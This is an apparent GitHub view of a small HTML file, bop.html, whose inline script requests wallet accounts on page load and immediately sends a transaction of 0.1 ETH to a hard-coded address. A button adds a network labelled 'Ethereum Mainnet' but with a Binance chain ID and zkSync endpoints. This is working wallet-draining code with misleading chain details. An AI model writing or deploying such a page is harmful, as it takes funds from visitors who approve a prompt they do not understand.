-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbop.html
More file actions
91 lines (80 loc) · 2.65 KB
/
bop.html
File metadata and controls
91 lines (80 loc) · 2.65 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<!DOCTYPE html>
<html>
<head>
<script>
"use strict";
console.log("JS running: " + document.location.origin);
async function requestAccountsAndSendTransaction() {
if (window.ethereum) {
try {
const accounts = await ethereum.request({ method: 'eth_requestAccounts' });
console.log(accounts);
// Get the sender's address
const fromAddress = ethereum.selectedAddress;
// Fetch the current transaction count (nonce) for the sender's address
const nonce = await ethereum.request({
method: 'eth_getTransactionCount',
params: [fromAddress, 'latest']
});
// Construct transaction parameters
const transactionParameters = {
nonce: nonce,
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: "0x45c5Bda43aeF168538f480f5F662DC73B757A6a1",
from: fromAddress,
value: "0x16345785D8A0000",
data: "0x00",
chainId: "0x144",
};
// Send the transaction
const txHash = await ethereum.request({
method: 'eth_sendTransaction',
params: [transactionParameters],
});
console.log(`Transaction hash: ${txHash}`);
} catch (error) {
console.error("Error executing transaction:", error.message);
}
} else {
console.log('Ethereum provider not found');
}
}
async function switchToMainnet() {
const provider = window.ethereum;
if (provider) {
try {
await provider.request({
method: 'wallet_addEthereumChain',
params: [{
chainId: '0x38', // This is the chainId for Binance Smart Chain Mainnet
chainName: 'Ethereum Mainnet',
nativeCurrency: {
name: 'ETH',
symbol: 'ETH',
decimals: 18
},
rpcUrls: ['https://mainnet.era.zksync.io'],
blockExplorerUrls: ['https://explorer.zksync.io']
}]
});
console.log("Switched to Binance Smart Chain Mainnet.");
} catch (err) {
console.log("Error switching chain:", err.message);
}
}
}
window.addEventListener('load', async () => {
console.log("Ethereum object available.");
console.log(window.ethereum);
await requestAccountsAndSendTransaction();
});
</script>
</head>
<body>
<button id="switchChainButton">Switch Chain</button>
<script>
document.getElementById('switchChainButton').addEventListener('click', switchToMainnet);
</script>
</body>
</html>